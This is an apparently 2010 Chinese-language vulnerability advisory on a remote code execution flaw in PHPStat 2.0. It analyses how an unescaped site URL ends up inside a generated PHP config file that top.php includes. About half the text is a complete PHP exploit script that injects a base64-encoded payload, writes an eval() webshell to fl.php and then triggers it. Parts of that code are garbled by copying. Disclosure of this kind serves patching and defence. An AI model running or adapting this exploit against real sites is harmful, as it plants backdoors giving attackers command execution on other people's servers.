PHPStat 2.0 远程代码执行漏洞


添加时间:
2010-04-27

系统编号:
WAVDB-01572

影响版本:
PHPStat 2.0

程序介绍:

PHPStat是一款专业的网站流量统计软件系统,提供网站日志分析、网站数据分析、用户行为分析系统,为客户提供深入挖掘的网站流量交叉数据报告.

漏洞分析:

该系统绝大部分代码是zend加密的,解密后我们来看user_info.php 中普通用户修改统计网站的代码
……
$fileStr .= "<?\nif( !defined('WEB_HOME') ) exit('Access Denied');\n";
                $fileStr .= "if( file_exists( \"../count/exclusion/website_\".\$websiteid.\"_regexp.php\")  )\n";
                $fileStr .= "include_once \"../count/exclusion/website_\".\$websiteid.\"_regexp.php\";\n";
                $fileStr .= "\n//统计网站地址\n";
                $fileStr .= "\$siteurl = \"".$_POST['site']."\";\n";
                $fileStr .= "\n//程序排除IP地址列表\n";
……
$fileStr .= "\$mainsitecode = \"".$Tmp[sitegroup]."\";\n";
                $fileStr .= "?>";
                if ( !file_exists( COUNT_DIRNAME."/exclusion/website_".$Tmp[website].".php" ) )
                {
                        write_to_file( COUNT_DIRNAME."/exclusion/website_".$Tmp[website].".php", "", "w+" );
                }
……
从以上代码可以看出,假设普通用户添加的网站编号为100003,则配置文件为
\count\exclusion\website_100003.php,内容格式如下所示:
<?
if( !defined('WEB_HOME') ) exit('Access Denied');
if( file_exists( "../count/exclusion/website_".$websiteid."_regexp.php")  )
include_once "../count/exclusion/website_".$websiteid."_regexp.php";
 
//统计网站地址
$siteurl = "http://127.0.0.1 ";
 
//程序排除IP地址列表
 
//程序包含目录地址列表
 
//程序所属主站点代码
$mainsitecode = "50";
?>
从上面的代码可以看出,我们提交的siteurl会被写入php文件中并被双引号括起来。熟悉php的朋友应该明白了吧?利用双引号的特性,我们可以构造一个特殊的siteurl来写入文件并成功执行.
文件开始的代码 if( !defined('WEB_HOME') ) exit('Access Denied'); 限制了我们直接触发shellcode,我们必须找到一个define了WEB_HOME的文件来包含之。PHPStat为我们提供了多个这样的文件我们继续看\templates\ms\common\top.php文件的部分代码,该文件是可以直接访问的。
<?
    session_start();
    include_once '../../../include.inc/config.inc.php';
    include_once '../../../include.inc/function.php';
    include_once '../../../include.inc/function_pagerank.php';
    include_once '../../../include.inc/global.inc.php';
    include_once '../../../include.inc/conn.db.inc.php';
    include_once '../../../include.inc/pdo_page.inc.php';
    include_once '../../../parse_site.php';
    
 
    $website   = strtolower(strval($_GET[website]));
    $action    = strtolower(strval($_GET[action]));
    $websiteid = $website;
    $queryLimit = new queryLimit();
    if( strval($_GET[showtype] ) == 'all' ) $website = $website."&showtype=all";
 
    include_once "../../../".COUNT_DIRNAME."/exclusion/website_".$websiteid.".php";
//此处可以触发我们的代码
 


漏洞利用:

 
  1. <?php  
  2. print_r('  
  3. +---------------------------------------------------------------------------+  
  4. PHPStat 2.0 remote code execution exploit  
  5. by Flyh4t  
  6. +---------------------------------------------------------------------------+  
  7. ');  
  8. if ($argc < 3) {  
  9.     print_r('  
  10. +---------------------------------------------------------------------------+  
  11. Usage: php '.$argv[0].' host path website  
  12. Example: php '.$argv[0].' localhost /PHPStat2/ 100001  
  13. +---------------------------------------------------------------------------+  
  14. ');  
  15.     exit;  
  16. }  
  17. error_reporting(7);  
  18. ini_set('max_execution_time', 0);  
  19. $hostfnbsp;= $argv[1];  
  20. $path = $argv[2];  
  21. $website = $argv[3];  
  22. $websiteid = $website - 100000;  
  23. $cookie = 'PHPStatCookie=PHPStat; PHPStatUser=flyh4t; PHPSESSID=16973668032f872c76a4bfe99bc9ee7a';  
  24. $cmd = 'sitename=flyh4t&website='.$website.'&sitedes=flyh4t&site=http%3A%2F%2F${${fputs(fopen(base64_decode(ZmwucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2FdKTsgPz4x))}}&websitetype=%D7%DB%BA%CF%C3%C5%BB%A7&siteshow=0&siterank=0&sitetype=0&exclusionip=&exclusioninter=&action=updatesite&websiteid='.$websiteid;  
  25. $shell = 'http://'.$host.$path.'templates/ms/common/fl.php';  
  26. send1($cmd);  
  27. send2();  
  28. if (!file_get_contents($url) && file_get_contents($shell) == '1')  
  29.     exit("Expoilt Success!\nView Your shell:\t$shell\n");  
  30. else   
  31.     exit("Exploit Failed!\n");  
  32.       
  33. function send1($cmd)  
  34. {  
  35.     global $host$path$website$cookie;      
  36.     $message = "POST ".$path."user_info.php?action=editsite&website=$website HTTP/1.1\r\n";  
  37.     $message .= "Accept: */*\r\n";  
  38.     $message .= "Referer: http://$host$path\r\n";  
  39.     $message .= "Accept-Language: zh-cn\r\n";  
  40.     $message .= "Content-Type: application/x-www-form-urlencoded\r\n";  
  41.     $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";  
  42.     $message .= "Host: $host\r\n";  
  43.     $message .= "Content-Length: ".strlen($cmd)."\r\n";  
  44.     $message .= "Connection: Close\r\n";  
  45.     $message .= "Cookie: $cookie \r\n\r\n";    
  46.     $message .= $cmd;  
  47.     $fp = fsockopen($host, 80);  
  48.     fputs($fp$message);  
  49. }  
  50.   
  51. function send2()  
  52. {  
  53.     global $host$path$website$cookie;    
  54.     $message = "GET ".$path."templates/ms/common/top.php?website=$website HTTP/1.1\r\n";  
  55.     $message .= "Accept: */*\r\n";  
  56.     $message .= "Referer: http://$host$path\r\n";  
  57.     $message .= "Accept-Language: zh-cn\r\n";  
  58.     $message .= "Content-Type: application/x-www-form-urlencoded\r\n";  
  59.     $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";  
  60.     $message .= "Host: $host\r\n";  
  61.     $message .= "Connection: Close\r\n";  
  62.     $message .= "Cookie: $cookie \r\n\r\n";    
  63.     $fp = fsockopen($host, 80);  
  64.     fputs($fp$message);  
  65.     }  
  66. ?>  



解决方案:
厂商补丁:
PHPStat
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.phpstat.net


信息来源:
<*来源: Flyh4t
链接: http://bbs.wolvez.org/topic/113/
*>